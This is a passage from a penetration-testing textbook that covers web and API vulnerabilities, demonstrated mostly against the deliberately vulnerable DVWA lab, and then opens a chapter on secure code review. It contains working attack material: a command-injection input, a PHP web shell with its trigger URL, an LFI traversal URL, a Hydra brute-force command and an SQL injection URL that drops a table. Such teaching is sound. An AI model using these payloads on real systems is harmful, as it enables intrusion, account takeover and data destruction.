As a CSRF prevention mechanism, client application-side code sends a random token with every POST request that it sends to the server. At the server side, it validates the token. The token should be generated at the server side and should be strong enough to not be guessed. Token-based CSRF defenses are built into many web frameworks. It is strongly recommended to research if the framework you are using has an option to achieve CSRF protection by default before trying to build your custom token generating system.

Insecure design

Insecure design is a broad category representing various weaknesses, revealed as missing or inefficient design. There is a distinction between insecure design and insecure implementation. We set design defects and execution defects apart for a reason: they have different source and remediation. A secure design can still have implementation problems for new vulnerabilities that may be exploited. An insecure design cannot be taken care of by an ideal implementation as necessary. It needed security controls that were never created to prevent attacks. Among the elements that contribute to insecure design is the lack of company risk profiling inherent in the software or system being developed, and, therefore, the failure to determine what level of security design is required.

Command execution

An example of insecure design is present in DVWA is command execution. DVWA has a vulnerable feature that allows any user to ping IP addresses:
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Figure 4.40: DVWA command execution

If we enter any IP address, it pings the server and shows the output, as shown in Figure 4.41:
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Figure 4.41: DVWA command execution output

From the design of this feature, it can be guessed that the backend system passes our IP to ping utility and returns the output. Now, since it’s passing the raw input we provide to the backend shell, let’s see what happens if we append one extra Linux command along with the IP. In this example, we are appending ifconfig along with IP, separated by a semicolon: 
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Figure 4.42: DVWA command execution injected command

BINGO! The DVWA application gave us the output of the ping tool, and it also executed the ifconfig command on the system and gave us the output, as shown in Figure 4.43:
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Figure 4.43: DVWA command execution injected command output

The severity of this issue can be very high; an attacker can literally do anything with the server by executing malicious commands on the system.

Unrestricted file upload

File upload vulnerabilities are a significant trouble with web-based applications. In numerous web servers, this vulnerability allows an attacker to upload a file concealing malicious code inside that can then be executed on the server. An attacker might be able to put a phishing web page into the website or deface a website. To understand unrestricted file upload issues, we will take a look at the DVWA file upload feature:
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Figure 4.44: DVWA file upload vulnerability

This feature of DVWA allows users to upload image files to the web server. Interesting thing happens when we try to upload files other than images. We create a text file with a test string written in it and try to upload it:
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Figure 4.45: DVWA file upload success message

We can see that the file is uploaded successfully (Figure 4.45), and we can access the file directly from the web browser (Figure 4.46):
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Figure 4.46: DVWA file upload – accessing uploaded file

Now, let’s try to do more nasty stuff. Instead of a harmless text file, let’s try to upload a PHP file. You must remember that we are trying to upload a PHP file as we already discovered that the server uses PHP. We try to upload a PHP file with the following PHP code init:


	<?php if(isset($_REQUEST['cmd']))

	{ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; 

	}?>



The code is called a minimal PHP web shell. A web shell is a shell-like interface that enables a web server to be remotely accessed, often for the purpose of cyberattacks:


[image: ]

Figure 4.47: DVWA php shell file upload attempt

Once the shell.php file is uploaded to the server, we should be able to access the file through following URL:

/hackable/uploads/shell.php

Now, if we pass the following argument to that file, we should be able to execute arbitrary commands on the system:

http://192.168.0.111/hackable/uploads/shell.php?cmd=ifconfig
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Figure 4.48: DVWA web shell upload

In Figure 4.48, you can see that we have executed the ifconfig command on the server, and our freshly uploaded shell gave us the output of the command. PHP shells can be powerful, and in most cases, if an attacker can upload PHP shell to a server, they can own a complete web server.

Insecure direct object references (IDOR)

Insecure Direct Object References (IDOR) are a sort of access control vulnerability that emerges when an application uses user-supplied input to access objects directly. Consider a website that utilizes the following URL to access the consumer account page by retrieving information from the backend database:

https://insecure-website.com/customer_account?customer_number=132355

In the following section, the customer number is used straight as a document index in queries that are performed on the backend database. If no other controls are in place, an attacker can just change the customer_number value, bypassing access controls to view the records of other consumers. This is an instance of an IDOR vulnerability leading to horizontal privilege escalation.

An attacker may be able to do horizontal and vertical privilege escalation by changing the user to one with extra privileges while bypassing access controls. Other possibilities include manipulating password leakage or modifying parameters as soon as the attacker has landed on the user's account web page. IDOR vulnerabilities frequently develop when delicate resources are located in static files on the server-side filesystem. As an example, a website could conserve profile images to disk using an incrementing filename and permit users to obtain these by checking out a URL like the following:

https://insecure-website.com/static/image134.png

https://insecure-website.com/static/image135.png 

https://insecure-website.com/static/image136.png

https://insecure-website.com/static/image137.png

Insecure File Inclusion (LFI and RFI)

Remote File Inclusion (RFI) and Local File Inclusion (LFI) are vulnerabilities that are often found in poorly-written web applications. LFI vulnerabilities allow an attacker to read (and sometimes execute) files on the victim machine. This can be very dangerous because if the web server is misconfigured and running with high privileges, the attacker may gain access to sensitive information. If the attacker can place code on the web server through other means, then they may be able to execute arbitrary commands:


	/**

	* Get the filename from a GET input

	* Example - http://example.com/?file=filename.php

	*/

	$file_name = $_GET[‘file’];

	

	include(‘include_directory/’ . $file_name);



The preceding PHP example shows that the application takes a filename from the user (Line 5) through the GET parameter file and stores it into a variable called $file_name. Later, the same file_name variable is passed to the PHP include function (Line 7). The include function will dynamically include filenames passed by the user. Such design errors might allow an attacker to execute arbitrary code on the server. In the following example, the attacker’s intent is to trick the application into executing a PHP script, such as a PHP web shell:

https://website.com/?file=../../uploads/shell.php

Once a user runs the web application, the file uploaded by the attacker will be included and executed. This will allow the attacker to run any server-side code that they want.

RFI vulnerabilities are easier to exploit but less common. Instead of accessing a file on the local machine, the attacker can execute code hosted on their own machine.

Insecure design mitigation

Unlike other issues that we discussed previously, preventing insecure design issues is not very easy. However, here are some points that can be taken into consideration while eliminating insecure design problems from a web application:


	Use threat modelling for important authentication, access control, organization relevant business logic, and key circulations. A threat model is a structured representation of all the information that affects the security of an application. In essence, it is a view of the application and its environment through the lens of security.

	Establish and use a library of secure design patterns.

	Establish and use a secure development lifecycle with AppSec specialists to assist, review, and design security and privacy-related controls.

	Write unit and integration tests to validate that all important flows are resistant to the threat model. Assemble use-cases and misuse-cases for every rate of your application.

	Incorporate reliability checks at each tier of your application (from frontend to backend).



Vulnerable and outdated components

Almost all modern applications use open-source packages, and information about vulnerabilities related to these packages is widely available. Attackers who figure out what vulnerable packages you're using can use exploits that are already available. That means you have a type of attack that is widespread and straightforward. However, while upgrading and managing vulnerable and outdated components might seem simple in theory, many organizations find that task not easy at all.

Outdated web server in DVWA

Outdated server-side components are usually detected accurately by automated scanners. If we take the example of DVWA, it discloses server-side PHP version through server banner, as seen in Figure 4.49:
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Figure 4.49: DVWA outdated Apache server

Automated scanners will try to pinpoint any vulnerabilities associated with that particular version. For DVWA, PHP/5.3.1 contains a lot of vulnerabilities. One of the serious ones is PHP hash collision denial-of-service vulnerability.

DVWA also discloses the Apache version in use, which is Apache/2.2.14 (Unix). Automated scanners also pinpoint vulnerabilities associated with that version, for example, Apache HTTPD remote denial of service. In most cases, such automated detections are generated using only banner information, so they can be false positives as well.

Mitigation for vulnerable and outdated components

Finding and fixing outdated/vulnerable systems in a large organization is usually taken care of through a well-defined vulnerability management program. Vulnerability management is the process of determining, evaluating, treating, and reporting on security vulnerabilities in systems and the software application that operates on them. This, applied alongside with various other security strategies, is important for companies to prioritize feasible risks and minimizing their attack surface area.

Cryptographic failures

One simple mental model for managing data is that it can exist in two states:


	Data in transit

	Data at rest



You can use different controls to encrypt data in either of these states:


	The first thing is to identify the defense needs of data in transit and at rest. For example, passwords, bank card numbers, individual information, and business secrets require added protection, mainly if that data falls under privacy laws, for example, EU's General Data Protection Regulation (GDPR), or regulations, for example, financial data protection such as PCI Data Security Standard (PCI DSS).

	For data in transit, you need to guarantee you are using Transport Layer Security (TLS) when sending out and receiving data from your users and the systems you operate. You also need to check that you are using TLS between all the elements of your system, not only the public side of your application.



DVWA insecure transport

DVWA, by default, does not use HTTPS (or SSL) for security communication. The application configuration ought to ensure that SSL is utilized for all access regulated pages. If an application utilizes SSL to assure confidential communication with client browsers, the application configuration should make it impossible to view any access-controlled web page without SSL. Nevertheless, it is not an uncommon problem that the configuration of the application falls short of using SSL on pages that contain delicate data.

Less secure hashing mechanism used in DVWA

When we dumped the database of DVWA through SQLi (Figure 4.50), we saw that the application saves the password hashes in the database and we have also seen that the passwords are hashed using MD5. MD5 hashing algorithm is not considered to be the most secure today. The most commonly used hashing algorithm is SHA-256:
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Figure 4.50: DVWA database hash dump

Identification and authentication failures

Confirmation of the user's identity, authentication, and session management are critical to protect against authentication-related attacks. There may be authentication weaknesses if the application does any of the following:


	Permits brute force or similar automated attacks

	Allows default, weak, or widely known passwords, such as password or admin/admin

	Reveals session identifier in the URL

	Permits automated attacks such as credential stuffing, where the attacker has a list of valid usernames and passwords

	Uses weak or inadequate credential recovery and forgot-password procedures, such as knowledge-based responses, which cannot be ensured

	Has missing or ineffective multi-factor authentication

	Recycles session identifier after effective login

	Utilizes plain text, encrypted, or weakly hashed passwords data stores.

	Does not correctly invalidate session IDs



Brute force attack on DVWA

Brute Force is an example of authentication failure. The default DVWA admin account has a very weak password, so we can easily perform Brute Force attacks. We will see how we can perform Brute force attacks using a tool called Hydra, which is present in Kali Linux.

To be able to run Brute Force on the server, we should first find the HTTP request responsible for login. DVWA login requests look as shown in Figure 4.51:
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Figure 4.51: DVWA login request

We need the following things to Brute Force using Hydra:


	Request method

	Request parameters

	The URL that handles authentication

	Session cookie if any required

	User name to Brute Force

	A password list

	Login error message - for Hydra to understand when it failed and succeeded



We should be able to find this information from the raw login request:


	The request method is POST in this case

	Request parameters are username=fasdfsdaf&password=fdsafasd&Login=Login

	The URL that handles authentication is /login.php in this case

	Session cookie we can collect from Burp: Cookie: PHPSESSID=hbusjapqtf1gn61tvnojpkgq24; security=low

	Username will be admin

	A Password.list for which we can take the one present in Kali Linux /usr/share/set/src/fasttrack/wordlist.txt

	Login error message can be found in the failed login page, which is Login failed in the case of DVWA. It will help Hydra detect when the login is successful, as shown in Figure 4.52:
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Figure 4.52: DVWA login failure message

Then, we need to feed all this information to Hydra. We can do that using the following command:

hydra 192.168.0.111 http-form-post "/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed:H=Cookie: PHPSESSID=hbusjapqtf1gn61tvnojpkgq24; security=low" -l admin -P /usr/share/set/src/fasttrack/wordlist.txt

Hydra will take some time to perform this attack, as it will try different password combinations to find the right one for you, as shown in Figure 4.53:
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Figure 4.53: Hydra password cracking

Insufficient session expiration in DVWA

The DVWA application is also vulnerable to insufficient session expiration, as the application generated session token (PHPSESSIONID cookie) doesn't expire at all. Ideally, applications should keep the session valid for a certain period. To be able to test insufficient session expiration, pen testers should log in to the target application and leave it for some time without any interaction. After that, just reload the application. If the application still doesn’t log you out, the application does not have any session timeout policy implemented and is vulnerable to insufficient session expiration.

Broken access control

Access control applies policies such that users cannot act beyond their intended permissions. Failures typically cause unauthorized information disclosure, modification or destruction of all data or performing functions outside the user's limits. Common access control vulnerabilities are discussed in the next section.

Example 1: An application fails to validate user provided data

The application uses unverified data in a SQL query that is accessing account information:

pstmt.setString(1, request.getParameter("account"));

ResultSet my_results = pstmt.executeQuery();

An attacker simply modifies the account parameter in the browser to send whatever account number they want to access. If not properly verified at the server side, the attacker can access any user's account.

http://myexample.com/app/accountInfo?account=notmyacct

Example 2: An attacker forces client to access target URLs

Let’s say, administrator rights are needed to access the following admin page:

http://example.com/app/getappInfo

http://example.com/app/admin_getappInfo

If an unauthenticated user can access either page, it’s a vulnerability. If a non-admin user can access the admin page, this is a vulnerability as well.

Software and data integrity failures

Software and data integrity failures are associated with code and framework that does not safeguard against integrity violations. An instance of this is where an application trusts plugins, libraries, or modules from untrusted sources, repositories, and content delivery networks (CDNs). An insecure CI/CD pipeline can introduce the potential for unauthorized access, harmful code, or system compromise. Lastly, many applications now include auto-update functionality, where updates are downloaded and installed without enough integrity verification and applied on the formerly trusted application.

Attackers might potentially upload their own updates to be dispersed and run on all installations.

Another instance is where objects or data is encoded or serialized right into a structure that an attacker can see and change; this is vulnerable to insecure deserialization.

Security logging and monitoring failures

There is no straight vulnerability that can emerge as a result of these problems, but generally, logging and monitoring are quite important, and their absence or failings can directly impact visibility, incident alerting, and forensics. Therefore, it's crucial to have a practical logging and monitoring system to gather logs and give alerts if any kind of breakdowns or errors occur; else, these can go unnoticed for a very long time and cause a lot of damage.

A few possible things that are included in this vulnerability are:


	Missing monitoring and alerting systems

	Monitoring systems unable to discover dubious activity or unable to raise alerts in real time

	Actual time of events are not logged

	Logs not checked for integrity

	Logs not pushed to security information and event management tools, in case of failure of the application server holding the logs

	Unclear or improper logs that do not provide any useful information or understanding



Prevention of security logging and monitoring failures

Here, we will discuss some key points to prevent insufficient security logging and monitoring failures. Programmers must carry out some or all the following controls to reduce the risk of the application:


	Guarantee that all login, access control, and server-side input validation failures can be logged with adequate user context to recognize dubious or destructive accounts and held for adequate time to enable postponed forensic evaluation.

	Guarantee that logs are produced in a layout that log management solutions can quickly consume.

	Make certain that log data is inscribed appropriately to prevent injections or attacks on the logging or monitoring systems.

	Ensure that high-value transaction/communication have an audit route with integrity controls to avoid tampering or deletion, such as append-only database tables or comparable.

	DevSecOps teams must establish efficient monitoring and alerting such that questionable tasks are detected and responded to quickly



Introduction to API

Before we understand what a web API is, let's understand what an Application Programming Interface (API) is. In computer programming, an API is a collection of subroutine definitions, protocols, and tools for building software program and applications. In other words, API is an interface, which has a set of functions that allow programmers to access specific features or data of an application, operating system or other services.

Web API, as the name suggests, is an API over the web that can be accessed using HTTP protocol. It is a principle and not a technology. We can construct a web API utilizing different technologies such as Java, .NET, and so on. For example, Twitter’s REST APIs provide programmatic access to review and create data, using which we can incorporate Twitter’s abilities right into our application.

Interacting with web API using Burp Repeater

We can use the Burp Repeater tab to send requests to a web API server, like we would when testing any other web application. Let’s take an example of the following API:

https://gorest.co.in/public/v1/users

If we open the URL in web browser, we see the response; however, it is not always very effective when we have to use methods other than GET, such as POST and PUT:
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Figure 4.54: Accessing API from web browser

When we intercept the request in Burp, we get an option to send it to the repeater, as shown in Figure 4.55:
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Figure 4.55: Using Burp Repeater

From the Repeater tab, we can interact with the API via any method we want, and we can also tweak the parameters (Figure 4.56). This is very useful while doing pen test on API:
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Figure 4.56: API manipulation using Burp Repeater

Most common API security problems

With the meteoric rise of micro services and the rush to develop more applications faster, APIs are being used more than ever to connect services and move data. Yet, with a growing variety of smaller applications attempting to interact with each other, APIs (your own and those from third parties) are becoming challenging to secure. The most essential API security threats consist of broken object level, user and function-level authorization, excessive information disclosure, lack of resources, security misconfiguration, and inadequate logging and monitoring.

Injection

Just like web app injection flaws, API Injection flaws like SQL, NoSQL, command injection, and so on occur when untrusted data is sent to an interpreter as part of a command or query. The attacker's harmful data can deceive the interpreter into executing unexpected commands or accessing data without the correct authorization.

In a single sentence, injection takes place when an application cannot appropriately compare untrusted user data and code. Untrusted user data can be HTTP request parameters, HTTP headers, or cookies. Injection vulnerabilities can affect API systems as API is just another method by which untrusted user input can enter an application. Let's look at just how injection vulnerabilities show up in an API.

Example of injection - Retrieving forum posts


	Let’s say that an API allows its users to retrieve forum posts by sending a GET request like this one:
 GET /api/posts?id=9587


	This request will cause the API to return a post with ID 9587. The server will extract the corresponding forum post from the database with a query (in most cases, it will be an SQL query):
 SELECT * FROM posts WHERE forum_post = 9587


	In this example, the forum_post refers to the ID passed by the user via the URL. Now, what if the user tweaks the GET request and changes it to the following:
 GET /api/posts?id=9587; DROP TABLE posts


	The SQL server would interpret the portion of the ID after the semicolon as a separate SQL command. So, the SQL engine will first execute this command to retrieve the blog post as usual:
 SELECT * FROM posts WHERE forum_post = 9587;


	Then, it will execute this command to delete the users table, causing the application to lose the data stored in that table:
 DROP TABLE posts




This is called an SQL Injection attack, and it can happen whenever user input is passed into SQL queries in an unsafe way. Note that user input in an API doesn’t just travel via URL parameters, they can also reach the application via POST requests, URL path parameters, and such. So, it’s important to secure those places too.

Broken object level authorization

Broken object level authorization happens when an application does not correctly verify that the user sending the request has the required privileges to access a resource of another user. APIs often tend to reveal endpoints that handle item identifiers, producing a vast attack surface level access control issue.

Attackers replace the ID of their own resource in the API call with an ID of a resource belonging to another user. The lack of correct authorization checks allows attackers to access the specified resource. This attack can also be compared with Insecure Direct Object Reference (IDOR). Here is an example:


	The API call use the cust_id parameters of the resource to access it:
 GET /api/shop1/customer_info?cust_id=3423


	Attackers increment the ID (cust_id) of their resources by the one they guessed:
 GET /api/shop1/customer_info?cust_id=3424


	The API does not check permissions and lets the call through.



Prevention of broken object level authorization

Here are some key points that can be considered while eliminating broken object level authorization problems from an API:


	The application developer must apply authorization checks with user policies and hierarchy.

	Do not count on IDs that the client sends out; use IDs saved in the server side session object instead.

	Inspect authorization for every client request to access the database.

	Use random IDs that cannot be presumed (UUIDs).



Broken user authentication

Authentication systems are usually applied incorrectly, allowing attackers to compromise authentication tokens or exploit application defects to assume various other users' identities. So, examples of broken user authentications are:


	Passwords that are weak, plain text, encrypted, inadequately hashed, shared, or default passwords

	Credentials and keys consisted of in URLs

	Absence of access token validation (consisting of JWT validation)

	Weak API keys that are not invalidated /rotated

	Weak authentication that does not follow industry best practices

	Authentication vulnerable to automated brute-force attack and credential stuffing

	Unprotected APIs that are considered internal

	Unsigned or weakly signed non-expiring JWT tokens



A brief introduction to JSON Web Token (JWT)

JSON Web Token or JWT are gaining popularity for securing APIs. In this section, we will try to understand how JWT works.

In every API communication, we have a client and a server. The client wants to access some protected data on our server, but the server knows clients cannot be trusted. The server only wants to give the data to a trustworthy client. So, our client sends a request to our server, along with data to verify who it is:

Client → authentication information → Server

Let's say the client (user) provided authentication data was accepted as valid by the server. Now, instead of saving this user data, the server creates a token. This token is returned to the client, and it's up to the client to store this data and send it along, as required, for any requests to the server:

Client ← JWT Token ← Server

The next time our client makes a request along a secure route, it sends along the JWT token. However, our server knows not to trust the client because clients cannot be trusted. So, our server verifies that this token is from who it says it's from and determines whether it has been tampered with. If the verification is successful, the server sends a response with the requested data, and everybody lives happily ever after.

In other words, you can consider a JWT bearer token as an identity badge to enter a secured building. The badge includes unique permissions (the claims); that is, it might grant access to select parts of the building.

JWTs differ from various other web tokens in that they have a collection of claims. Claims are used to transfer information between two parties. What these claims are depends upon the use instance at hand. For instance, a claim might insist who provided the token, how long it is valid for, or what permissions the client has been provided.

A JWT is a string composed of three components, divided by dots (.) and serialized using base64. In the most typical serialization format, portable serialization, the JWT looks something like this:

aaaaa.bbbbb.ccccc.

When decoded, you will obtain a header, a payload, and the signature. The payload has the claims. The signature makes certain that the token hasn't been modified. The party that produces the JWT signs the header and the payload with a key that is known to both the issuer and receiver.

A usual method to use JWTs is as OAuth bearer tokens. Here, an authorization server creates a JWT at the request of a client and signs it to ensure that it cannot be changed by any other party. The client will then send this JWT with its request to a REST API. The REST API will validate that the JWT's signature matches its payload and header to confirm that the JWT is valid. When the REST API has verified the JWT, it can use the claims to either allow or deny the client's request.

Prevention of broken user authentication

Here are some key points that can be considered while eliminating broken object level authorization problems from an API:


	Developers are highly recommended to use more stringent rate-limiting for authentication and perform lockout policies and weak password checks

	Use standard authentication, token generation, password storage, and multi-factor authentication (MFA)

	APIs for password reset, users authentication must be secured very carefully

	Check all possible methods to authenticate to all APIs. Authenticate your applications so that you know who is interacting with you

	Use short-lived access tokens

	Check all possible methods to authenticate all APIs



Lack of resources and rate limiting

On a regular basis, APIs do not enforce any type of constraints on the size or number of resources that can be requested by the client/user. Not only can this affect the API server performance and bring about Denial-of-Service (DoS), but it also leaves the door open to authentication problems such as Brute Force. Here are some examples of abusing lack of resources and rate limiting:


	An attacker can overload the API by sending out more requests than it can handle.

	An attacker can send out requests at a rate going beyond the API's handling speed, clogging it up.

	The size of the requests or some fields in them exceed what the API can refine.



APIs can be tested for lack of resources and rate limiting with Burp Intruder. Burp Intruder functions by taking an HTTP request (called the base request), modifying the request in numerous systematic methods, issuing each modified version of the request and examining the application's responses to determine interesting features.

For each attack, you must define one or more sets of payloads and the placements in the base request where the payloads are to be placed. Numerous approaches of generating payloads are readily available (including simple lists of strings, numbers, dates, brute force, and bit flipping). Payloads can be placed into payload positions using various algorithms. Numerous tools are available to examine the results and identify interesting things for more examination.

Let’s try to Brute Force user ID and try to enumerate a valid user ID in the following API:

https://gorest.co.in/public/v1/users/123

We can access this API from Burp Repeater, as illustrated in Figure 4.57:
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Figure 4.57: Access API using Burp Repeater

The GET request will be our base request. We need to send the base request to Burp Intruder. We can do that by right-clicking on the request, as shown here:
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Figure 4.58: Using Burp Intruder

Once we have the base request in intruder, we need to select the positions in the base request that we want the Burp Intruder to manipulate. This is shown in Figure 4.59:
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Figure 4.59: Visible raw request in Burp Intruder

In this case, we want to enumerate a valid user ID, so we select the user ID, which is 123 in this case. We select the number 123 and click on the Add $ button, as shown in Figure 4.60:
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Figure 4.60: Adding injection point

Once we add $, the base request will look something like this:

GET /public/v1/users/§123§ HTTP/1.1

Host: gorest.co.in

Connection: close

Then, we need to tell the intruder how we want to manipulate the user ID. For that, we need to navigate to the Payloads tab, as shown in the following screenshot:
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Figure 4.61: Selecting payload set in Burp Intruder

In this case, we want a simple number list that increments automatically, for example, 1, 2, 3, 4…..., and so on. For that, we need to select Payload type as Numbers, as shown in Figure 4.62:
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Figure 4.62: Selecting payload type in Burp intruder

We want it to be increased by 1 and want to go from 1 to 100, as shown in the following screenshot:
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Figure 4.63: Defining payload generation logic in Burp intruder

Once we configure our payload generation, we need to click on Start Attack. A new window will open up, and you will see all the requests that the intruder is sending and their response (Figure 4.64). From the list of response codes, it's clear that we have seen a few 200 OK and a few 404 NOT Found. The API returns 200 OK when the user ID is valid and 404 when the user ID is invalid:
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Figure 4.64: Burp Intruder result

From Figure 4.64, we should be able to tell that 0, 1, 6, and 12 are the valid user IDs.

Prevention of lack of resource and rate limiting

Here are some of the OWASP recommended prevention measures for lack of resource and rate limiting vulnerabilities in API:


	Make sure the rate restriction matches with what API methods, clients, or addresses need or ought to be allowed to get

	Restrict API payload size

	Add checks on compression ratios

	Specify proper rate restricting



Conclusion

In this chapter, you learned about the most common attacks that are seen on web applications and API. Web applications in any industry, from e-commerce to government, can be successfully attacked. You might have already understood how difficult it could be to fully secure a web application. Every application tested had flaws of numerous severity levels. High-severity vulnerabilities can be exploited in over half these applications for access to delicate data, execution of commands on a server, and total control of the system. 

In the next chapter, we will discuss the art of identifying security issues though source code analysis.

Key points


	Web application security is a stack of attack surfaces and defensive mitigating solutions. It is insufficient to safeguard web applications with just one strategy or at only one layer of the stack. Vulnerabilities in the system or in protocols, such as TCP or HTTP, are just as ravaging to the security and availability of applications as attacks against the application itself.

	A complete stack of mitigating solutions is needed to become aware of a positive web application security pose. It is important to note that a detailed strategy requires cooperation across network, security, operations, and development groups, as each of these has a function to play in protecting applications and their vital data.

	In this chapter, we discussed the most popular web application and API vulnerabilities, but it's not everything. It is next to impossible to do a deep dive into all possible web application and API vulnerabilities in a single chapter, so we recommend readers to continue exploring other vulnerabilities (listed in the Different types of web application vulnerabilities section), that were not covered in this section.



Multiple choice questions


	Which cookie flag will make it difficult for an attacker to perform XSS attack?

	HTTPONLY

	SECURE

	XSS_FALSE

	NoScript



	Hashing is reversible.

	True

	False



	Base64 encoding is irreversible.

	True

	False



	SSRF attack require some level of social engineering.

	True

	False



	Same-origin policy would block SQL Injection from happening.

	True

	False



	In DOM XSS, payload never leaves the user's browser.

	True

	False



	CSRF tokens can be used to prevent server-side request forgeries.

	True

	False



	SHA256 is more secure than MD5.

	True

	False



	Base64 encryption is good enough to encrypt data in rest on any server.

	True

	False



	Input validation is good enough to prevent XSS attacks.

	True

	False





Answers


	A

	B

	B

	B

	B

	A

	B

	A

	B

	B



Popular interview questions


	Explain all vulnerabilities listed in the Different types of web application vulnerabilities section with examples and their mitigation strategies.

	What is the need for penetration testing?

	What is the difference between vulnerability and exploit?

	Differentiate between hashing and encoding.

	Differentiate between encryption and encoding.

	How do you crack password hashes?

	What is the most secure hashing algorithm?

	How does the HTTP protocol manage session?

	What are the most common web vulnerabilities? What are OWASP top listed vulnerabilities?

	What is secure flag in cookies?

	What is httponly flag in cookies?

	What is XSS?

	What are the types of XSS?

	In what ways can an XSS be exploited?

	How do you test XSS vulnerability in web applications?

	How can we prevent XSS?

	What is DOM-based XSS?

	How would you test a web application for DOM-based XSS?

	What is SQL Injection?

	What are the variants of SQLi?

	How do you test for SQLi?

	What is blind SQL injection?

	How can we prevent SQLi?

	What is Server-Side Request Forgery? Explain with a scenario.

	What are some preventive measures for SSRF?

	What is CSRF vulnerability?

	How can you exploit CSRF vulnerability?

	What are the recommended remediation measures for CSRF?

	What is a session fixation issue?

	What are the various ways to bypass authentication?

	What is meant by horizontal privilege escalation?

	What is meant by vertical privilege escalation?

	What is a buffer overflow vulnerability?

	What are webshells?

	How would you test a web application for insecure file upload vulnerability?

	How would you exploit an insecure file upload vulnerability?

	What are cryptographic failures?

	What is SSL? Explain how SSL works.

	How would you perform a brute force attack on a web application?

	What is insecure direct object references (IDOR)?

	How can you prevent insecure direct object references (IDOR)?

	What is the difference between DOM,Reflected and Self XSS?

	How to steal data stored in HTML5 local storage using XSS?

	What is same-site cookie?

	How to test JSON requests for CSRF?

	How would you identify the different CORS misconfigurations in applications?

	Give some examples of vulnerabilities which can be exploited to achieve RCE?

	What is Server side template injection?

	What is client side template injection?

	What are the different components of JWT and highlight some test cases when the application uses JWT token?

	Explain some of the security testing use cases when SAML is used with SSO.

	What is GraphQL introspection query and how that can lead to different vulnerabilities?

	What is XXE and how XXE can be leveraged to produce SSRF?

	What is Billions laugh attack?

	What is Formula injection?

	What is Prototype pollution?

	Explain Apache Log4j Vulnerable to Remote Code Execution (RCE) via JNDI?

	What is Reflected File Download?

	What is SOAPAction Header Spoofing?

	What is Cross-Site WebSocket Hijacking?

	What is HTTP Request Smuggling?

	What is Web Cache Deception?

	What is Web Cache poisoning?

	What is Cross-Site WebSocket Hijacking?

	Give examples of Second Order SQL Injection?

	What is SMTP injection?

	What is Hibernate injection?

	How to detect Insecure deserialization vulnerabilities?

	What is Rate-limiting for API?

	What is HTTP Response splitting?







CHAPTER 5

The Art of Secure Source Code Review


Introduction

Secure code review is a customized job that includes manual and/or automated review of a software or application's source code to pinpoint security-related weaknesses (problems) in the source code. Secure code review does not try to recognize each and every problem in the code; instead, it looks for problems that might disrupt the security of the application or the integrity of user data. The main objective of secure source code review is to equip the programmers with information to help them make the application's source code more secure and robust.

Structure

We will cover the following topics in this chapter:


	Introduction to secure source code review

	Manual secure source code review

	Automated secure source code review

	Automated source code scanning techniques

	Automated source code review tools

	Examples of different vulnerabilities



Objectives

After studying this chapter, you should have a better understanding of the process of secure source code review and its importance. We will deep dive into two different ways of secure source code review: manual and automated source code review. We will also discuss their importance. Lastly, we will deep dive into the source code of an intentionally vulnerable web application project and try to identify the security problems in it.

Introduction to secure source code review

Almost all software development life cycle (SDLC) includes testing and validation of program features, which is often completed with a source code review by either a peer or an external entity/third party. The review verifies that the application works as expected and that the required features are implemented properly. Code reviews are very important and need to still take place. Nonetheless, an added review with an emphasis solely on security ought to be carried out.

Now, let's understand how secure source code review can help a penetration tester with targeting an application's security posture assessments. A black-box penetration tester is usually unaware of the internal architecture of the target application being tested. However, a white box web application penetration tester provides a completely different viewpoint of the target application being assessed. For in-depth web application penetration testing, understanding the source code helps the penetration tester go much deeper. With white box testing, the penetration tester must be well-versed in the programming language used. The process is transparent because the penetration tester can inspect how the end user provided inputs flow through the source code, the logical control paths, and so on. Source code review can expose crucial security problems and vulnerabilities that are usually unseen during black box penetration testing.

The goal of a secure code review is to locate and determine specific security-related problems within the code, which a harmful user might utilize to compromise the confidentiality, integrity, and availability of the application. For example, an unverified user input to a limited size buffer may cause buffer overflow and enable a destructive user to carry out arbitrary code as well as privilege escalation. A secure code review aims to locate these kinds of issues, notify development groups about them, and eventually, reduce the number of vulnerabilities in the application.

Manual secure source code review

Manual secure code review is the process of reviewing source code line-by-line in an effort to recognize prospective vulnerabilities. It is a tiresome process that requires skill, experience, persistence, and patience. Vulnerabilities uncovered, and ultimately resolved, through the manual review process can significantly improve an organization's security.

There are three main stages of a manual secure code review: discussion with developers, execute code review, and reporting:


	Discussion with developers: By beginning with a meeting with the developers, the review team has an opportunity to recognize the intent of the application before examining the code. After getting a fundamental understanding of the intended service function or ability of the application, the meeting focuses on crucial security touch points, such as developers' technique for authentication, data validation, and logging.

	Execute code review: After the meeting, the review team functions independently to review the application in its entirety. Rather than handing off individual code files to particular team members, each participant reviews the entire application. This approach plays to the strengths of each individual reviewer, usually causing the identification of different yet pertinent findings. The other advantage is that having multiple eyes on the exact same set of code serves as a quality check to ensure that the findings are correct.

	Reporting: After the individual code reviews are completed, the team meets to share the results. Each reviewer has the opportunity to review others' findings and go over why particular findings might appear in one team member's listing but not in another's. This phase also helps make it certain that the findings being reported are relevant. The final list of findings, along with descriptions and prospective mitigations, is then presented to the designers/architects/developers using a conventional report layout.



Automated secure source code review

Source code analysis tools, also referred to as Static Application Security Testing (SAST) tools, can help analyze source code or compiled variations of code to help locate security flaws. SAST tools can be included in your IDE. Such tools can assist you to detect concerns throughout software application development. SAST tool feedback can conserve time and effort, specifically when compared to locating vulnerabilities later in the development cycle.

Different stages of an automated source code assessment

An automated source code scanner looks at program source from various points of view. Code review tools will have separate customizable engines/modules to inspect source code. Each of these scanning engines tries to identify different types of security problems in different aspects of the source code:


	Data flow: The data flow analyzer discovers prospective vulnerabilities that involve tainted data (user-controlled input) put to potentially dangerous use, for example, buffer overflow and SQL injections.

	Control flow: The control flow analyzer discovers potentially unsafe sequences of procedures, for example, time of check/time of use (TOCTOU, TOCTTOU or TOC/TOU) issues and uninitialized variables.

	Semantic: The semantic analyzer spots potentially dangerous uses, features, and APIs at the intra-procedural level, for example, deprecated features and risky features.

	Structural: The structural analyzer discovers possibly unsafe problems in the structure or definition of the program, for example, dead code.

	Configuration: The configuration analyzer looks for errors, weak points, and policy violations in an application's implementation configuration files.



Automated source code scanning can be divided into a few phases. The technique may vary from scanner to scanner. Here we are referring to the scanning methods used by one of the most popular source code scanning tools called fortify. On a very high level, these phases are as follows. 


	Build integration: The first phase of source code evaluation entails choosing whether to integrate Static Code Analyzer (SCA) right into the build compiler system.

	Translation: In this phase, source code is collected, and using a series of commands, it is converted into an intermediate style that is related to a build ID. The build ID is typically the name of the task being scanned.

